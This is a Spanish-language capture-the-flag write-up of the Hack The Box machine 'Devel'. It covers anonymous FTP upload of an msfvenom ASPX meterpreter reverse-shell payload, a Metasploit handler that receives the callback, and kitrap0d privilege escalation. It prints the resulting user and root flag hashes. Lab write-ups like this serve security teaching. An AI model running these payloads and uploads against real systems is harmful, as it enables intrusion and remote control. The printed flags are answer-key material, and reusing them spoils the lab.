Devel [EASY🟢]

Dificultad: Fácil

Devel

1- Reconocimiento y escaneo

1.1 Ping

❯ ping -c 1 10.10.10.5
PING 10.10.10.5 (10.10.10.5) 56(84) bytes of data.
64 bytes from 10.10.10.5: icmp_seq=1 ttl=127 time=169 ms

--- 10.10.10.5 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 168.694/168.694/168.694/0.000 ms

Podemos notar que se trata de una maquina Windows, debido al TTL:

TTL <= 64 >>(Linux)
TTL <= 128 >> (Windows)

1.2 Nmap

❯ nmap -sS -sV -sC -p- -open --min-rate 5000 -Pn -vvv 10.10.10.5 -oN escaneo.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-23 16:58 -03
NSE: Loaded 157 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 16:58
Completed NSE at 16:58, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 16:58
Completed NSE at 16:58, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 16:58
Completed NSE at 16:58, 0.00s elapsed
Initiating Parallel DNS resolution of 1 host. at 16:58
Completed Parallel DNS resolution of 1 host. at 16:58, 0.02s elapsed
DNS resolution of 1 IPs took 0.02s. Mode: Async [#: 2, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 16:58
Scanning 10.10.10.5 [65535 ports]
Discovered open port 80/tcp on 10.10.10.5
Discovered open port 21/tcp on 10.10.10.5
Completed SYN Stealth Scan at 16:59, 26.46s elapsed (65535 total ports)
Initiating Service scan at 16:59
Scanning 2 services on 10.10.10.5
Completed Service scan at 16:59, 6.71s elapsed (2 services on 1 host)
NSE: Script scanning 10.10.10.5.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 16:59
NSE: [ftp-bounce 10.10.10.5:21] PORT response: 501 Server cannot accept argument.
Completed NSE at 16:59, 5.18s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 16:59
Completed NSE at 16:59, 1.22s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 16:59
Completed NSE at 16:59, 0.00s elapsed
Nmap scan report for 10.10.10.5
Host is up, received user-set (0.17s latency).
Scanned at 2025-02-23 16:58:55 -03 for 40s
Not shown: 65533 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE REASON          VERSION
21/tcp open  ftp     syn-ack ttl 127 Microsoft ftpd
| ftp-syst: 
|_  SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 03-18-17  01:06AM       <DIR>          aspnet_client
| 03-17-17  04:37PM                  689 iisstart.htm
|_03-17-17  04:37PM               184946 welcome.png
80/tcp open  http    syn-ack ttl 127 Microsoft IIS httpd 7.5
|_http-title: IIS7
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 16:59
Completed NSE at 16:59, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 16:59
Completed NSE at 16:59, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 16:59
Completed NSE at 16:59, 0.00s elapsed
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 41.26 seconds
           Raw packets sent: 131086 (5.768MB) | Rcvd: 20 (880B)

Vemos el puerto 21(Microsoft ftpd), correspondiente a un servidor FTP(File Transfer Protocol) que tiene como defecto el usuario "Anonymous", tambien el puerto 80 correspondiente a un servidor web(Microsoft IIS httpd 7.5)

1.3 whatweb

http://10.10.10.5 [200 OK] Country[RESERVED][ZZ], HTTPServer[Microsoft-IIS/7.5], IP[10.10.10.5], Microsoft-IIS[7.5][Under Construction], Title[IIS7], X-Powered-By[ASP.NET]

Tecnologias web utilizadas por la pagina web:

Microsoft-IIS/7.5
X-Powered-By[ASP.NET] --> (.aspx)

1.4 Fuzzing

❯ wfuzz -c --hc 404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.5/FUZZ
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.10.5/FUZZ
Total requests: 220560

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                              
=====================================================================

000000001:   200        31 L     53 W       689 Ch      "# directory-list-2.3-medium.txt"                                                                                    
000000008:   200        31 L     53 W       689 Ch      "# or send a letter to Creative Commons, 171 Second Street,"                                                         
000000007:   200        31 L     53 W       689 Ch      "# license, visit http://creativecommons.org/licenses/by-sa/3.0/"                                                    
000000004:   200        31 L     53 W       689 Ch      "#"                                                                                                                  
000000002:   200        31 L     53 W       689 Ch      "#"                                                                                                                  
000000006:   200        31 L     53 W       689 Ch      "# Attribution-Share Alike 3.0 License. To view a copy of this"                                                      
000000005:   200        31 L     53 W       689 Ch      "# This work is licensed under the Creative Commons"                                                                 
000000009:   200        31 L     53 W       689 Ch      "# Suite 300, San Francisco, California, 94105, USA."                                                                
000000012:   200        31 L     53 W       689 Ch      "# on atleast 2 different hosts"                                                                                     
000000010:   200        31 L     53 W       689 Ch      "#"                                                                                                                  
000000013:   200        31 L     53 W       689 Ch      "#"                                                                                                                  
000000003:   200        31 L     53 W       689 Ch      "# Copyright 2007 James Fisher"                                                                                      
000000014:   200        31 L     53 W       689 Ch      "http://10.10.10.5/"                                                                                                 
000045240:   200        31 L     53 W       689 Ch      "http://10.10.10.5/"                                                                                                 
000000011:   200        31 L     53 W       689 Ch      "# Priority ordered case sensative list, where entries were found"                                                   
000204549:   400        6 L      26 W       324 Ch      "%D2"                                                                                                                

Total time: 310.9713
Processed Requests: 220560
Filtered Requests: 220544
Requests/sec.: 709.2614

Dentro del fuzzing, no encontramos nada relevante

2- Explotación mediante el puerto 21

2.1 Usuario Anonymous

Si volvemos al reporte de Nmap, podremos ver que el puerto 21 tiene el usuario "Anonymous" habilitado, donde podremos logearnos mediante FTP sin una contraseña, de tal manera que el usuario es "Anonymous" y la contraseña la dejamos en blanco:

❯ ftp 10.10.10.5
Connected to 10.10.10.5.
220 Microsoft FTP Service
Name (10.10.10.5:t0mz): Anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password: 
230 User logged in.
Remote system type is Windows_NT.
ftp> 

Vamos a ejecutar un "dir" para listar los directorios dentro del servidor FTP:

ftp> dir
229 Entering Extended Passive Mode (|||49158|)
125 Data connection already open; Transfer starting.
03-18-17  01:06AM       <DIR>          aspnet_client
03-17-17  04:37PM                  689 iisstart.htm
03-17-17  04:37PM               184946 welcome.png
226 Transfer complete.
ftp> 

Esto corresponde a la pagina web que se encuentra alojada en el servidor web por el puerto 80:

Podriamos crear un script en ".ASPX" malicioso que nos de una reverse shell

2.2 Reverse shell ASP .NET mediante el puerto FTP utilizando msfvenom

Vamos a crear el script malicioso de ASP .NET que nos de la reverse shell a netcat utilizando la herramienta msfvenom con el siguiente comando:

msfvenom -p windows/meterpreter/reverse_tcp LHOST={IP HTB} LPORT={Puerto destino} -f aspx -o pwned.aspx

En mi caso quedaria asi:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.12 LPORT=443 -f aspx -o pwned.aspx

Ejecutamos:

❯ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.12 LPORT=4444 -f aspx -o pwned.aspx
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of aspx file: 2865 bytes
Saved as: pwned.aspx

Ahora vamos a abrir una nueva ventana de shell para poner en escucha Metasploit Framework con el payload que utilizamos a la hora de la creación del exploit en este caso "windows/shell_reverse_tcp"

❯ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.12 LPORT=4444 -f aspx -o pwned.aspx
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of aspx file: 2865 bytes
Saved as: pwned.aspx

Y vamos a subir mediante FTP el archivo malicioso que acabamos de crear llamado "pwned.aspx" con el comando de FTP llamado "put"

ftp> put pwned.aspx 
local: pwned.aspx remote: pwned.aspx
229 Entering Extended Passive Mode (|||49159|)
125 Data connection already open; Transfer starting.
100% |**********************************************|  2760       26.32 MiB/s    --:-- ETA
226 Transfer complete.
2760 bytes sent in 00:00 (15.70 KiB/s)
ftp> 

Y ahora vamos a poner en escucha Metasploit Framework por el puerto 4444 como le indicamos al exploit los parametros LPORT y LHOST, de la siguiente manera:

❯ msfconsole -q
msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.10.14.12
LHOST => 10.10.14.12
msf6 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.14.12:4444 

Vamos al navegador Firefox y ingresamos la URL correspondiente al archivo malicioso que acabamos de subir:

10.10.10.5/pwned.aspx

Ingresamor la URL:

Volvemos a la consola donde teniamos Metasploit Framework en escucha por el puerto 4444:

❯ msfconsole -q
msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.10.14.12
LHOST => 10.10.14.12
msf6 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.14.12:4444 
[*] Sending stage (177734 bytes) to 10.10.10.5
[*] Meterpreter session 1 opened (10.10.14.12:4444 -> 10.10.10.5:49168) at 2025-02-23 18:13:23 -0300

meterpreter > 

Vamos a abrir una shell de Windows en meterpreter

Vamos a la ruta donde podria encontrarse la flag normalmente:

c:\windows\system32\inetsrv>cd ..\..\..\Users\
cd ..\..\..\Users\

Listamos y entramos a cualquier usuario:

c:\Users>dir 
dir
 Volume in drive C has no label.
 Volume Serial Number is 137F-3971

 Directory of c:\Users

18/03/2017  01:16     <DIR>          .
18/03/2017  01:16     <DIR>          ..
18/03/2017  01:16     <DIR>          Administrator
17/03/2017  04:17     <DIR>          babis
18/03/2017  01:06     <DIR>          Classic .NET AppPool
14/07/2009  09:20     <DIR>          Public
               0 File(s)              0 bytes
               6 Dir(s)   4.673.765.376 bytes free

c:\Users>cd babis
cd babis
Access is denied.

c:\Users> 

Vemos que no tenemos permisos para ingresar a los usuarios

3- Escalado de privilegios

Vamos a buscar la versión de Windows que corre esta maquina, para eso vamos a utilizar el comando "systeminfo":

c:\Users>systeminfo
systeminfo

Host Name:                 DEVEL
OS Name:                   Microsoft Windows 7 Enterprise 
OS Version:                6.1.7600 N/A Build 7600
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Workstation
OS Build Type:             Multiprocessor Free
Registered Owner:          babis
Registered Organization:   
Product ID:                55041-051-0948536-86302
Original Install Date:     17/3/2017, 4:17:31 
System Boot Time:          23/2/2025, 9:54:51 
System Manufacturer:       VMware, Inc.
System Model:              VMware Virtual Platform
System Type:               X86-based PC
Processor(s):              1 Processor(s) Installed.
                           [01]: x64 Family 25 Model 1 Stepping 1 AuthenticAMD ~2445 Mhz
BIOS Version:              Phoenix Technologies LTD 6.00, 12/11/2020
Windows Directory:         C:\Windows
System Directory:          C:\Windows\system32
Boot Device:               \Device\HarddiskVolume1
System Locale:             el;Greek
Input Locale:              en-us;English (United States)
Time Zone:                 (UTC+02:00) Athens, Bucharest, Istanbul
Total Physical Memory:     3.071 MB
Available Physical Memory: 2.457 MB
Virtual Memory: Max Size:  6.141 MB
Virtual Memory: Available: 5.536 MB
Virtual Memory: In Use:    605 MB
Page File Location(s):     C:\pagefile.sys
Domain:                    HTB
Logon Server:              N/A
Hotfix(s):                 N/A
Network Card(s):           1 NIC(s) Installed.
                           [01]: Intel(R) PRO/1000 MT Network Connection
                                 Connection Name: Local Area Connection 4
                                 DHCP Enabled:    No
                                 IP address(es)
                                 [01]: 10.10.10.5
                                 [02]: fe80::e489:6af5:b95:a0c2
                                 [03]: dead:beef::7d17:26f3:ed35:7f30
                                 [04]: dead:beef::e489:6af5:b95:a0c2

c:\Users>

3.1 Escalado de privilegios en Windows 7 Enterprise 6.1 Build 7600

Vamos a salir de la shell para volver a la shell de Meterpreter:

c:\Users>exit
exit
meterpreter > 

Y vamos a poner en background o en segundo plano la shell de meterpreter con CTRL + Z:

c:\Users>exit
exit
meterpreter > 
Background session 2? [y/N]  
msf6 exploit(multi/handler) > 

Y vamos a utilizar el modulo local de post explotación de Metasploit Framework "post/multi/recon/local_exploit_suggester" para que nos recomiende un exploit local para elevar privilegios:

msf6 exploit(multi/handler) > search exploit suggester

Matching Modules
================

   #  Name                                      Disclosure Date  Rank    Check  Description
   -  ----                                      ---------------  ----    -----  -----------
   0  post/multi/recon/local_exploit_suggester  .                normal  No     Multi Recon Local Exploit Suggester


Interact with a module by name or index. For example info 0, use 0 or use post/multi/recon/local_exploit_suggester

msf6 exploit(multi/handler) > use post/multi/recon/local_exploit_suggester
msf6 post(multi/recon/local_exploit_suggester) > show options 

Module options (post/multi/recon/local_exploit_suggester):

   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   SESSION                           yes       The session to run this module on
   SHOWDESCRIPTION  false            yes       Displays a detailed description for the av
                                               ailable exploits


View the full module info with the info, or info -d command.

msf6 post(multi/recon/local_exploit_suggester) > 

Vamos a setear la sesión de meterpreter(En mi caso la sesion 2):

msf6 post(multi/recon/local_exploit_suggester) > sessions

Active sessions
===============

  Id  Name  Type                     Information              Connection
  --  ----  ----                     -----------              ----------
  2         meterpreter x86/windows  IIS APPPOOL\Web @ DEVEL  10.10.14.12:4444 -> 10.10.1
                                                              0.5:49170 (10.10.10.5)

msf6 post(multi/recon/local_exploit_suggester) > set session 2
session => 2
msf6 post(multi/recon/local_exploit_suggester) > 

Y vamos a ejecutar el modulo con el comando "run" para que nos empieze a analizar potenciales exploits que podriamos utilizar en esta maquina:

msf6 post(multi/recon/local_exploit_suggester) > run
[*] 10.10.10.5 - Collecting local exploits for x86/windows...
[*] 10.10.10.5 - 203 exploit checks are being tried...
[+] 10.10.10.5 - exploit/windows/local/bypassuac_comhijack: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move: The service is running, but could not be validated. Vulnerable Windows 7/Windows Server 2008 R2 build detected!
[+] 10.10.10.5 - exploit/windows/local/ms10_015_kitrap0d: The service is running, but could not be validated.
[+] 10.10.10.5 - exploit/windows/local/ms10_092_schelevator: The service is running, but could not be validated.
[+] 10.10.10.5 - exploit/windows/local/ms13_053_schlamperei: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms13_081_track_popup_menu: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms15_004_tswbproxy: The service is running, but could not be validated.
[+] 10.10.10.5 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms16_016_webdav: The service is running, but could not be validated.
[+] 10.10.10.5 - exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The service is running, but could not be validated.
[+] 10.10.10.5 - exploit/windows/local/ms16_075_reflection: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms16_075_reflection_juicy: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ntusermndragover: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable.
[*] Running check method for exploit 42 / 42
[*] 10.10.10.5 - Valid modules for session 2:
============================

 #   Name                                                           Potentially Vulnerable?  Check Result
 -   ----                                                           -----------------------  ------------
 1   exploit/windows/local/bypassuac_comhijack                      Yes                      The target appears to be vulnerable.
 2   exploit/windows/local/bypassuac_eventvwr                       Yes                      The target appears to be vulnerable.
 3   exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move   Yes                      The service is running, but could not be validated. Vulnerable Windows 7/Windows Server 2008 R2 build detected!
 4   exploit/windows/local/ms10_015_kitrap0d                        Yes                      The service is running, but could not be validated.
 5   exploit/windows/local/ms10_092_schelevator                     Yes                      The service is running, but could not be validated.
 6   exploit/windows/local/ms13_053_schlamperei                     Yes                      The target appears to be vulnerable.
 7   exploit/windows/local/ms13_081_track_popup_menu                Yes                      The target appears to be vulnerable.
 8   exploit/windows/local/ms14_058_track_popup_menu                Yes                      The target appears to be vulnerable.
 9   exploit/windows/local/ms15_004_tswbproxy                       Yes                      The service is running, but could not be validated.
 10  exploit/windows/local/ms15_051_client_copy_image               Yes                      The target appears to be vulnerable.
 11  exploit/windows/local/ms16_016_webdav                          Yes                      The service is running, but could not be validated.
 12  exploit/windows/local/ms16_032_secondary_logon_handle_privesc  Yes                      The service is running, but could not be validated.
 13  exploit/windows/local/ms16_075_reflection                      Yes                      The target appears to be vulnerable.
 14  exploit/windows/local/ms16_075_reflection_juicy                Yes                      The target appears to be vulnerable.
 15  exploit/windows/local/ntusermndragover                         Yes                      The target appears to be vulnerable.
 16  exploit/windows/local/ppr_flatten_rec                          Yes                      The target appears to be vulnerable.
 17  exploit/windows/local/adobe_sandbox_adobecollabsync            No                       Cannot reliably check exploitability.
 18  exploit/windows/local/agnitum_outpost_acs                      No                       The target is not exploitable.
 19  exploit/windows/local/always_install_elevated                  No                       The target is not exploitable.
 20  exploit/windows/local/anyconnect_lpe                           No                       The target is not exploitable. vpndownloader.exe not found on file system
 21  exploit/windows/local/bits_ntlm_token_impersonation            No                       The target is not exploitable.
 22  exploit/windows/local/bthpan                                   No                       The target is not exploitable.
 23  exploit/windows/local/bypassuac_fodhelper                      No                       The target is not exploitable.
 24  exploit/windows/local/bypassuac_sluihijack                     No                       The target is not exploitable.
 25  exploit/windows/local/canon_driver_privesc                     No                       The target is not exploitable. No Canon TR150 driver directory found
 26  exploit/windows/local/cve_2020_1048_printerdemon               No                       The target is not exploitable.
 27  exploit/windows/local/cve_2020_1337_printerdemon               No                       The target is not exploitable.
 28  exploit/windows/local/gog_galaxyclientservice_privesc          No                       The target is not exploitable. Galaxy Client Service not found
 29  exploit/windows/local/ikeext_service                           No                       The check raised an exception.
 30  exploit/windows/local/ipass_launch_app                         No                       The check raised an exception.
 31  exploit/windows/local/lenovo_systemupdate                      No                       The check raised an exception.
 32  exploit/windows/local/lexmark_driver_privesc                   No                       The target is not exploitable. No Lexmark print drivers in the driver store
 33  exploit/windows/local/mqac_write                               No                       The target is not exploitable.
 34  exploit/windows/local/ms14_070_tcpip_ioctl                     No                       The target is not exploitable.
 35  exploit/windows/local/ms_ndproxy                               No                       The target is not exploitable.
 36  exploit/windows/local/novell_client_nicm                       No                       The target is not exploitable.
 37  exploit/windows/local/ntapphelpcachecontrol                    No                       The check raised an exception.
 38  exploit/windows/local/panda_psevents                           No                       The target is not exploitable.
 39  exploit/windows/local/ricoh_driver_privesc                     No                       The target is not exploitable. No Ricoh driver directory found
 40  exploit/windows/local/tokenmagic                               No                       The target is not exploitable.
 41  exploit/windows/local/virtual_box_guest_additions              No                       The target is not exploitable.
 42  exploit/windows/local/webexec                                  No                       The check raised an exception.

[*] Post module execution completed
msf6 post(multi/recon/local_exploit_suggester) > 

En nuestro caso, vamos a utilizar en concreto el siguiente exploit:

[+] 10.10.10.5 - exploit/windows/local/ms10_015_kitrap0d: The service is running, but could not be validated.

Seleccionamos el modulo y listamos las opciones necesarias para la ejecución correcta del exploit:

msf6 post(multi/recon/local_exploit_suggester) > use exploit/windows/local/ms10_015_kitrap0d
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/ms10_015_kitrap0d) > show options 

Module options (exploit/windows/local/ms10_015_kitrap0d):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, proces
                                        s, none)
   LHOST     192.168.8.15     yes       The listen address (an interface may be specified
                                        )
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows 2K SP4 - Windows 7 (x86)



View the full module info with the info, or info -d command.

msf6 exploit(windows/local/ms10_015_kitrap0d) > 

Seteamos la opciones indicadas, en mi caso la sesión es la numero 2:

msf6 exploit(windows/local/ms10_015_kitrap0d) > set LHOST 10.10.14.12
LHOST => 10.10.14.12
msf6 exploit(windows/local/ms10_015_kitrap0d) > set LPORT 4444
LPORT => 4444
msf6 exploit(windows/local/ms10_015_kitrap0d) > set SESSION 2
SESSION => 2
msf6 exploit(windows/local/ms10_015_kitrap0d) > 

Y ejecutamos el modulo:

msf6 exploit(windows/local/ms10_015_kitrap0d) > run
[*] Started reverse TCP handler on 10.10.14.12:4444 
[*] Reflectively injecting payload and triggering the bug...
[*] Launching netsh to host the DLL...
[+] Process 1592 launched.
[*] Reflectively injecting the DLL into 1592...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (177734 bytes) to 10.10.10.5
[*] Meterpreter session 3 opened (10.10.14.12:4444 -> 10.10.10.5:49172) at 2025-02-23 18:30:02 -0300

meterpreter > 

Abrimos una shell:

meterpreter > shell
Process 3304 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

c:\windows\system32\inetsrv>

Y nos vamos a la ruta de users:

c:\windows\system32\inetsrv>cd ..\..\..\Users\
cd ..\..\..\Users\

c:\Users>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 137F-3971

 Directory of c:\Users

18/03/2017  01:16     <DIR>          .
18/03/2017  01:16     <DIR>          ..
18/03/2017  01:16     <DIR>          Administrator
17/03/2017  04:17     <DIR>          babis
18/03/2017  01:06     <DIR>          Classic .NET AppPool
23/02/2025  11:02     <DIR>          Public
               0 File(s)              0 bytes
               6 Dir(s)   4.671.700.992 bytes free

c:\Users>

Ahora vamos a probar irnos a la carpeta del Administrador y listar los directorios:

c:\Users>cd Administrator
cd Administrator

c:\Users\Administrator>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 137F-3971

 Directory of c:\Users\Administrator

18/03/2017  01:16     <DIR>          .
18/03/2017  01:16     <DIR>          ..
18/03/2017  01:16     <DIR>          Contacts
14/01/2021  11:42     <DIR>          Desktop
18/03/2017  01:16     <DIR>          Documents
18/03/2017  01:16     <DIR>          Downloads
18/03/2017  01:16     <DIR>          Favorites
18/03/2017  01:16     <DIR>          Links
18/03/2017  01:16     <DIR>          Music
18/03/2017  01:16     <DIR>          Pictures
18/03/2017  01:16     <DIR>          Saved Games
18/03/2017  01:16     <DIR>          Searches
18/03/2017  01:16     <DIR>          Videos
               0 File(s)              0 bytes
              13 Dir(s)   4.671.700.992 bytes free

c:\Users\Administrator>

3.2 Obtención de la flag de usuario

Como vemos, ya tenemos acceso de Administrador, ahora vamos a reclamar la flag de usuario que se encuentra en la siguiente ruta "c:\Users\babis\Desktop":

c:\Users\babis\Desktop>cd "c:\Users\babis\Desktop"
cd "c:\Users\babis\Desktop"

c:\Users\babis\Desktop>type user.txt
type user.txt
e2aff94d5823d9bfeac20d5c8de3ab6c

c:\Users\babis\Desktop>

3.3 Obtención de la flag de root

La flag de root, se encuentra dentro del directorio "c:\Users\Administrator\Desktop"

c:\Users\Administrator\Desktop>cd "c:\Users\Administrator\Desktop"
cd "c:\Users\Administrator\Desktop"

c:\Users\Administrator\Desktop>type root.txt
type root.txt
83304247d2d00db42698cd4183d4da1a

c:\Users\Administrator\Desktop>

Con esto, concluimos la maquina "Devel" de Hack The Box

Espero te haya sido de ayuda este Write Up :)

Si tuviste alguna dificultad a la hora de resolverlo, no olvides contactarme en mis redes sociales

https://www.hackthebox.com/achievement/machine/2243466/3www.hackthebox.com